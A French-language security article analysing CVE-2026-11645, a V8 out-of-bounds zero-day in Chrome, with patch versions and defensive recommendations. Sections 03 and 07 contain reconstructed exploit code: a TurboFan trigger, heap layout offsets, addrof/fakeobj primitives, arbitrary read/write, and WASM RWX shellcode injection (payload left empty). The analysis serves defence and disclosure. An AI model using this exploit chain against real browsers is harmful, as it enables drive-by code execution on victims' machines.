01 - Résumé exécutif

Le 8 juin 2026, Google a publié en urgence une mise à jour de sécurité pour Chrome corrigeant 74 vulnérabilités, dont 17 critiques. Parmi elles, CVE-2026-11645 se distingue : il s'agit d'un zero-day de haute sévérité (CVSS 8.8), activement exploité dans la nature au moment de la publication du correctif.

La vulnérabilité réside dans V8, le moteur JavaScript de Chrome. Elle appartient à la classe des accès mémoire hors limites (Out-of-Bounds Read & Write) et permet à un attaquant distant d'exécuter du code arbitraire dans le sandbox du navigateur en amenant simplement une victime à visiter une page HTML malveillante. Aucune interaction supplémentaire n'est requise au-delà de la visite.

Il s'agit du cinquième zero-day Chrome corrigé en 2026, tous exploités in the wild avant la publication d'un patch. Cette cadence confirme que V8 et le pipeline de rendu Chromium restent parmi les surfaces d'attaque les plus ciblées du web moderne.

Action immédiate requise

Toute version de Chrome antérieure à 149.0.7827.103 est vulnérable. Mettre à jour immédiatement via Menu ⋮ → Aide → À propos de Google Chrome. Les navigateurs basés sur Chromium (Edge, Brave, Opera, Vivaldi) partagent V8 et sont également exposés jusqu'à publication de leur propre correctif.

Attribut Valeur
IdentifiantCVE-2026-11645
Score CVSS 3.18.8 (Haute)
TypeOut-of-Bounds Read & Write (CWE-125 / CWE-787)
ComposantV8, moteur JavaScript de Chrome
ImpactRCE dans le sandbox renderer
Exploitation activeConfirmée par Google
Bug bounty versé55 000 USD
Version corrigéeChrome 149.0.7827.103 (Win/Mac) · 149.0.7827.102 (Linux)

02 - Contexte : V8, le cœur du problème

Qu'est-ce que V8 ?

V8 est le moteur JavaScript open-source développé par Google, intégré à Chrome depuis sa première version en 2008. Il est également le moteur de Node.js, Deno, et de nombreux autres environnements d'exécution JavaScript. Son rôle est de compiler et d'exécuter l'intégralité du code JavaScript chargé par le navigateur (scripts de pages web, service workers, extensions).

V8 fonctionne en deux phases complémentaires. L'interpréteur Ignition exécute d'abord le bytecode en collectant des profils de types sur les variables et les objets. Lorsqu'une fonction est détectée comme "chaude" (exécutée plus de quelques milliers de fois), le compilateur optimisant TurboFan prend le relais pour la compiler en code machine natif très performant, en s'appuyant sur les hypothèses de type collectées.

v8_pipeline - Pipeline d'exécution
JavaScript source
      │
      ▼
  Parser          →  AST (Abstract Syntax Tree)
      │
      ▼
  Ignition        →  Bytecode + collecte de profils de types
      │
      ▼ (fonctions "chaudes" → > N exécutions)
  TurboFan        →  Code machine optimisé
      │               (hypothèses sur les types et les bornes)
      ▼
  Deoptimization  →  Retour Ignition si hypothèse invalidée

C'est précisément cette optimisation agressive des hypothèses qui est à l'origine de nombreuses vulnérabilités. TurboFan effectue des analyses d'alias, des éliminations de code mort, et des suppressions de vérifications redondantes, y compris parfois des bounds checks sur les accès aux tableaux. Une seule hypothèse incorrecte sur les bornes ou les types suffit à ouvrir une fenêtre d'exploitation.

La complexité de V8 est également structurelle : le moteur doit gérer des dizaines de types d'éléments de tableaux (elements kinds), des représentations mémoire optimisées (Smi, double, tagged pointer), et des transitions dynamiques entre ces représentations. Cette richesse fonctionnelle est une surface d'attaque permanente pour les chercheurs en sécurité.

03 - Les vulnérabilités Out-of-Bounds dans V8

Une vulnérabilité Out-of-Bounds (OOB) dans V8 survient lorsque le moteur accède à une zone mémoire située au-delà des bornes d'un buffer alloué. Dans le contexte de TurboFan, cela arrive typiquement lorsqu'une passe d'optimisation élimine à tort une vérification de borne (la bounds check elimination) en se basant sur des hypothèses de type qui se révèlent incorrectes au moment de l'exécution.

Structure mémoire des tableaux V8

Pour comprendre comment exploiter un OOB, il faut d'abord comprendre comment V8 représente les tableaux JavaScript en mémoire. Chaque tableau est un objet JSArray qui contient un pointeur vers un FixedArray, le backing store qui stocke réellement les éléments.

v8_heap_layout.h - Structure mémoire simplifiée
// Représentation interne d'un tableau JavaScript dans le heap V8

struct JSArray {
  Map        map;        // 0x00 : type et layout de l'objet (HiddenClass)
  Properties properties; // 0x08 : propriétés nommées de l'objet
  Elements   elements;  // 0x10 : pointeur → FixedArray (backing store)
  Smi        length;    // 0x18 : longueur JS visible (entier Smi tagué)
};

struct FixedArray {
  Map map;              // 0x00 : descripteur de type
  Smi length;           // 0x08 : capacité réelle du buffer ← borne physique
  Object objects[];     // 0x10 : éléments (taille variable)
};

// Pointer tagging V8 : tous les pointeurs heap ont le bit 0 à 1
// Smi (small integer)  : bit 0 à 0, valeur shiftée d'un bit à gauche
// Exemple : l'entier JS 5 est représenté comme 0x0000000A en mémoire V8
// Un pointeur 0xdeadbeef est stocké comme 0xdeadbeef | 1 = 0xdeadbef1
Mécanisme de la bounds check elimination

TurboFan insère des vérifications de borne à chaque accès tableau (if (index >= length) throw). Pour optimiser les performances, il tente de prouver statiquement que certains index sont toujours dans les bornes et supprime ces vérifications. Si cette preuve repose sur une hypothèse de type incorrecte (par exemple, que l'index est toujours un entier positif borné), la suppression du check ouvre une OOB exploitable.

Déclenchement via JIT

La vulnérabilité CVE-2026-11645 se déclenche via une page HTML contenant du JavaScript spécialement conçu pour forcer TurboFan à compiler une fonction avec un bounds check manquant. Le pattern classique consiste à "chauffer" une fonction avec des entrées normales pour que TurboFan la compile, puis à la déclencher avec des entrées anormales qui exploitent l'hypothèse incorrecte.

trigger.js - Reconstruction basée sur la classe CVE
// CVE-2026-11645 : reconstruction basée sur la classe OOB V8 via TurboFan
// (code source exact sous embargo Google jusqu'au patch massif)

function trigger(arr) {
  // TurboFan analyse cette boucle et peut éliminer la vérification
  // de borne sur l'index calculé si son analyse de range est incorrecte
  for (let i = 0; i < arr.length; i++) {
    let idx = computeIndex(i); // peut retourner une valeur >= arr.length
    arr[idx] = 1.1;            // ÉCRITURE OOB si bounds check éliminé
  }
}

// Chauffer le JIT : 50 000 itérations suffisent généralement à
// forcer la compilation TurboFan d'une fonction "chaude"
const arr = new Array(10).fill(1.1);
for (let i = 0; i < 50000; i++) trigger(arr); // warm-up JIT
trigger(arr); // déclenchement avec le chemin TurboFan optimisé (sans bounds check)

Ce qui se passe en mémoire lors de l'OOB

Lorsque la vérification de borne est absente, V8 accède au-delà du FixedArray de notre tableau et atteint l'objet alloué juste après sur le heap. En contrôlant précisément le layout du heap (par de l'heap grooming), l'attaquant peut placer un Float64Array adjacent dont il contrôlera ensuite le champ backing_store, c'est-à-dire le pointeur vers les données du TypedArray.

Memory_Layout // V8 Heap OOB
+0x00
FixedArray.map + length header du tableau (16 octets)
+0x10
arr[0] … arr[9] (doubles) zone légale : 80 octets
+0x60
Float64Array.map arr[10] ← début OOB
+0x68
Float64Array.byte_length arr[11]
+0x78
Float64Array.backing_store arr[13] ← CIBLE : contrôle R/W arbitraire

En écrivant à arr[13], l'attaquant remplace le backing_store du Float64Array voisin par une adresse de son choix. Toute lecture ou écriture ultérieure dans ce TypedArray accédera désormais à l'adresse cible, donnant une primitive de lecture/écriture arbitraire dans l'espace d'adressage du processus renderer.

04 - Fiche technique de la vulnérabilité

AttributDétail
Identifiant CVECVE-2026-11645
CWECWE-125 (Out-of-Bounds Read) & CWE-787 (Out-of-Bounds Write)
ComposantV8, moteur JavaScript de Google Chrome
Vecteur CVSS 3.1AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Score CVSS 3.18.8 (Haute sévérité)
Versions affectéesChrome < 149.0.7827.103 (toutes plateformes)
Version corrigée149.0.7827.102/.103 (Windows/macOS) · 149.0.7827.102 (Linux)
Vecteur d'attaqueRéseau : page HTML spécialement conçue
AuthentificationAucune requise
Interaction utilisateurRequise (visiter la page malveillante)
Impact C / I / AHaut / Haut / Haut
ChercheurAnonyme (identifiant Google : 303f06e3)
Date de signalement27 avril 2026
Bug bounty versé55 000 USD
Exploitation activeConfirmée par Google
Rang zero-day 20265ème zero-day Chrome de l'année
Embargo technique

Google maintient une restriction d'accès sur le bug tracker Chromium tant qu'une majorité d'utilisateurs n'a pas installé le correctif. La même restriction s'applique si la vulnérabilité touche une bibliothèque tierce non encore corrigée. Les reconstructions de code présentées dans cet article sont basées sur l'analyse de la classe de vulnérabilité (OOB V8 via TurboFan) et de CVE similaires publiées, pas sur le code source original de l'exploit.

05 - Exploitation dans la nature

Google a publiquement confirmé : "Google is aware that an exploit for CVE-2026-11645 exists in the wild." Aucun détail sur les acteurs, les cibles géographiques ou sectorielles, ni sur les vecteurs de distribution précis n'a été divulgué. C'est une pratique standard de responsible disclosure : retenir les informations techniques pendant la fenêtre de déploiement du patch.

Le délai de six semaines entre le signalement (27 avril) et la publication du correctif (8 juin) est cohérent avec le cycle de développement Chrome pour une vulnérabilité critique dans V8 : analyse du root cause, développement du patch, régression testing sur l'ensemble de la suite de tests V8 (plusieurs millions de cas), et validation du déploiement progressif.

Vecteurs de distribution probables

Ce type d'exploit se distribue classiquement via trois vecteurs : phishing ciblé (lien vers une page malveillante), malvertising (publicité injectée sur des sites légitimes), ou watering hole (compromission d'un site fréquenté par la cible). Une simple visite de la page suffit, aucun téléchargement ni clic supplémentaire n'est nécessaire.

Les acteurs qui exploitent des zero-days Chrome avant patch sont typiquement des groupes APT nationaux (espionnage, compromission de cibles gouvernementales) ou des opérateurs de spyware commercial (NSO Group, Intellexa et leurs équivalents). La confirmation d'exploitation in the wild par Google sans détails sur les attaquants est cohérente avec un contexte de divulgation responsable coordonnée avec des partenaires gouvernementaux.

06 - Historique des zero-days Chrome en 2026

CVE-2026-11645 s'inscrit dans une tendance de fond : cinq zero-days Chrome exploités in the wild ont été corrigés en moins de six mois en 2026. Cette densité confirme que les navigateurs web restent une cible prioritaire pour les acteurs les plus sophistiqués.

CVE Date patch Composant Statut
CVE-2026-2441 Février 2026 V8 Exploité
CVE-2026-3909 Mars 2026 V8 Exploité
CVE-2026-3910 Mars 2026 V8 Exploité
CVE-2026-5281 Avril 2026 Chrome Exploité
CVE-2026-11645 Juin 2026 V8 / TurboFan Exploité (actuel)
Impact sur les navigateurs Chromium-based

Microsoft Edge, Brave, Opera et Vivaldi partagent le même moteur V8 et sont exposés à CVE-2026-11645 jusqu'à publication de leurs correctifs respectifs. Les équipes de sécurité de ces produits suivent les patches Chrome et publient généralement leurs mises à jour dans les 24 à 72 heures après le patch Google.

07 - Chaîne d'exploitation complète

Une OOB Read/Write dans V8 ne donne pas directement un shell. Elle est le point de départ d'une chaîne d'exploitation en plusieurs étapes, chacune construisant sur la précédente pour progresser vers l'exécution de code arbitraire dans le processus renderer.

Primitives fondamentales : addrof et fakeobj

Les deux primitives classiques de tout exploit V8 sont addrof(obj), qui permet de fuiter l'adresse heap d'un objet JavaScript quelconque, et fakeobj(addr), qui permet de faire croire à V8 qu'une adresse arbitraire est un objet JavaScript valide. Ces deux primitives sont construites à partir de l'OOB.

primitives.js - addrof / fakeobj / R/W arbitraire
// ── Helpers de conversion float ↔ bigint ──────────────────────────────
const _f64 = new Float64Array(1);
const _i64 = new BigInt64Array(_f64.buffer);
const f2i = f  => { _f64[0] = f; return _i64[0]; };
const i2f = i  => { _i64[0] = i; return _f64[0]; };

// ── Primitive addrof() : fuite de l'adresse heap d'un objet JS ─────────
// Pose l'objet dans container[0] (tableau d'objets tagués),
// puis lit sa valeur via l'OOB sur oob_arr (tableau de doubles)
function addrof(obj) {
  container[0] = obj;
  return f2i(oob_arr[TARGET_IDX]) & ~1n; // masque le bit de tag
}

// ── Primitive fakeobj() : désigne une adresse comme objet JS ──────────
// Écrit addr via l'OOB dans le slot où container[0] sera lu,
// V8 retourne alors un "objet" pointant vers addr
function fakeobj(addr) {
  oob_arr[TARGET_IDX] = i2f(addr | 1n); // ajoute le bit de tag
  return container[0];
}

// ── R/W arbitraire via TypedArray forgé ───────────────────────────────
// On crée un faux Float64Array dont on contrôle le backing_store
const fake_ta_addr = addrof(backing_template) - 0x20n;
const fake_ta = fakeobj(fake_ta_addr);
const dv = new DataView(fake_ta.buffer);

function read64(addr) {
  fake_ta['backing_store'] = i2f(addr);
  return dv.getBigUint64(0, true);
}
function write64(addr, val) {
  fake_ta['backing_store'] = i2f(addr);
  dv.setBigUint64(0, val, true);
}

Injection de shellcode via WebAssembly JIT

Une fois la primitive R/W arbitraire établie, l'étape finale consiste à trouver une zone mémoire exécutable et writable (RWX) dans le processus. V8 crée de telles pages pour le code WebAssembly compilé. En chargeant un module WASM minimal, l'attaquant peut fuiter l'adresse de la page JIT et y écrire un shellcode.

shellcode_inject.js - Injection via page WASM JIT (RWX)
// Étape 1 : compiler un module WASM minimal pour forcer V8 à créer
// une page JIT RWX (Read-Write-Execute) dans le processus renderer
const wasm_bytes = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, // magic: \0asm
  0x01, 0x00, 0x00, 0x00, // version: 1
  0x01, 0x04, 0x01, 0x60, 0x00, 0x00, // type section: () → void
  0x03, 0x02, 0x01, 0x00,       // function section
  0x0a, 0x04, 0x01, 0x02, 0x00, 0x0b // code section: nop; end
]);
const wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes));

// Étape 2 : fuiter l'adresse de la page JIT via notre R/W arbitraire
// L'instance WASM contient un pointeur vers la page RWX dans ses entrailles
const wasm_addr = addrof(wasm_mod.exports.main);
const rwx_page  = read64(wasm_addr + 0x60n); // offset variable selon version V8

// Étape 3 : écrire le shellcode dans la page RWX, byte par byte
const shellcode = new Uint8Array([
  /* shellcode spécifique à la plateforme, ex : calc.exe (PoC) ou
       payload C2 pour persistance dans le renderer (exploitation réelle) */
]);
for (let i = 0n; i < BigInt(shellcode.length); i++) {
  write64(rwx_page + i, BigInt(shellcode[i]));
}

// Étape 4 : appeler la fonction WASM pour déclencher l'exécution du shellcode
wasm_mod.exports.main(); // → shellcode s'exécute dans le processus renderer

Enchaînement complet de la chaîne d'exploitation

1
Heap grooming
Allocation et libération d'objets pour placer un Float64Array adjacent à notre tableau OOB dans le heap V8, à un offset prévisible.
2
Déclenchement de l'OOB via JIT
Chauffe de la fonction cible (50 000 itérations) pour forcer TurboFan, puis appel avec les paramètres qui exploitent le bounds check manquant. Résultat : accès R/W hors du FixedArray.
3
Construction de addrof / fakeobj
Utilisation de l'OOB pour lire et écrire dans le champ backing_store du Float64Array voisin. Ces deux primitives donnent un contrôle total sur la représentation des objets V8.
4
R/W arbitraire via TypedArray forgé
Création d'un faux Float64Array via fakeobj() pointant vers une structure sous notre contrôle. Chaque modification du backing_store change la cible des R/W.
5
Injection via page WASM RWX
Chargement d'un module WebAssembly minimal, fuite de l'adresse de la page JIT (RWX), écriture du shellcode, exécution via l'appel de la fonction WASM. Résultat : RCE dans le renderer.
Périmètre : Sandbox Chrome

L'exécution obtenue reste confinée dans le processus renderer de Chrome, lui-même sandboxé par le système d'exploitation. Pour compromettre entièrement le système, l'attaquant doit enchaîner avec un second exploit de type sandbox escape (vulnérabilité noyau, GPU process, ou broker process). CVE-2026-11645 constitue le premier maillon (sérieux) d'une telle chaîne.

08 - Patch et versions corrigées

Google a intégré le correctif dans les versions suivantes, déployées progressivement via le système de mise à jour automatique de Chrome. Le déploiement progressif signifie que la mise à jour peut ne pas être immédiatement disponible sur toutes les machines.

PlateformeVersion corrigéeStatut
Windows & macOS149.0.7827.102 et 149.0.7827.103Disponible
Linux149.0.7827.102Disponible
Microsoft EdgeÀ confirmer (suivre les advisories Microsoft)Patch attendu
Brave / Opera / VivaldiÀ confirmer (surveiller les changelogs)Patch attendu
Vérification de la version

Menu Chrome ⋮ → Aide → À propos de Google Chrome. Chrome vérifie et installe la mise à jour disponible. Redémarrer le navigateur pour appliquer le patch. La version affichée doit être ≥ 149.0.7827.102.

09 - Comment se protéger

1
Mettre à jour Chrome immédiatement
Menu ⋮ → Aide → À propos de Google Chrome → lancer la mise à jour → redémarrer le navigateur. Le redémarrage est obligatoire pour appliquer effectivement le patch.
2
Patcher tous les navigateurs Chromium-based
Edge, Brave, Opera, Vivaldi partagent le moteur V8. Surveiller leurs pages de release et patcher dès disponibilité des correctifs respectifs.
3
Déploiement entreprise via GPO ou MDM
Forcer la mise à jour via Group Policy Object (Windows) ou profil MDM (macOS/iOS). Prioriser les postes exposés à internet et les profils à risque élevé (dirigeants, RH, finance, IT).
4
Activer la protection renforcée
Paramètres Chrome → Confidentialité et sécurité → Sécurité → Protection renforcée. Bloque les sites et téléchargements malveillants connus en temps réel via les listes Google Safe Browsing.
5
Surveiller les IOC post-embargo
Suivre le Chrome Releases Blog, le catalog KEV de la CISA et les bulletins Chromium pour les indicateurs de compromission qui seront publiés une fois l'embargo levé.

10 - Recommandations

Au-delà du correctif immédiat, CVE-2026-11645 met en lumière des axes de défense en profondeur qui méritent d'être intégrés dans une stratégie de sécurité durable.

Patch management proactif

La mise à jour des navigateurs doit être automatisée et forcée dans les environnements d'entreprise. Un parc non patchable est une surface d'attaque permanente. Le délai entre la disponibilité d'un correctif et son déploiement effectif sur l'ensemble des postes doit être mesuré et réduit à moins de 24 heures pour les vulnérabilités critiques activement exploitées.

Défense en profondeur : réduire la blast radius

CVE-2026-11645 donne un renderer RCE (exécution de code dans le processus sandboxé). La barrière suivante est le sandbox lui-même. Renforcer cette barrière via des politiques OS strictes (seccomp-bpf sur Linux, Sandbox Policy sur Windows) réduit significativement l'impact d'un second exploit enchaîné pour le sandbox escape.

Browser Isolation pour les profils à risque élevé

Pour les environnements à risque élevé (VIP, accès aux systèmes critiques, développeurs ayant accès aux dépôts de production), le Remote Browser Isolation (RBI) exécute la session de navigation web dans un conteneur distant isolé du poste de travail. Même un exploit complet (RCE + sandbox escape) ne compromet que le conteneur jetable, pas le poste de l'utilisateur.

Surveillance comportementale EDR

Détecter les comportements anormaux des processus Chrome : création de processus enfants inattendus, accès réseau sortant depuis le renderer, injection de DLL, modification de fichiers système. Ces comportements post-exploitation sont détectables par un EDR correctement configuré même si le vecteur initial (la page web) échappe à la détection.

1
Automatiser les mises à jour navigateur
GPO / MDM : délai maximum 24h pour les CVE critiques activement exploitées. Mesurer le taux de couverture du patch via l'inventaire EDR.
2
Renforcer le sandbox OS
Activer les politiques de sandbox les plus strictes disponibles pour Chrome. Sur Windows : --enable-features=RendererCodeIntegrity. Sur Linux : vérifier l'activation de seccomp dans les flags Chrome.
3
Déployer le Browser Isolation sur les profils critiques
Identifier les utilisateurs avec accès privilégiés et déployer une solution RBI (Zscaler, Menlo Security, Cloudflare Browser Isolation) pour leur navigation publique.
4
Surveiller les IOC post-embargo
Planifier une revue de sécurité approfondie dès la levée de l'embargo Google sur les détails techniques. Les IOC, hashes de pages malveillantes, et signatures YARA seront publiés par la communauté à ce moment.
5
Sensibiliser aux liens non sollicités
Ce type d'exploit se distribue via des liens. Une simple visite suffit. La formation des utilisateurs à ne pas cliquer sur des liens inconnus reste un rempart complémentaire efficace, notamment contre le phishing ciblé et le malvertising.
Conclusion

CVE-2026-11645 est une vulnérabilité sérieuse, activement exploitée, dans l'un des composants logiciels les plus répandus de la planète. La bonne nouvelle : un correctif est disponible. La mauvaise : tant qu'il n'est pas déployé, chaque visite sur une page web malveillante expose l'utilisateur à une exécution de code arbitraire dans son navigateur. La réponse est simple et immédiate : mettre à jour Chrome maintenant.

11 - Références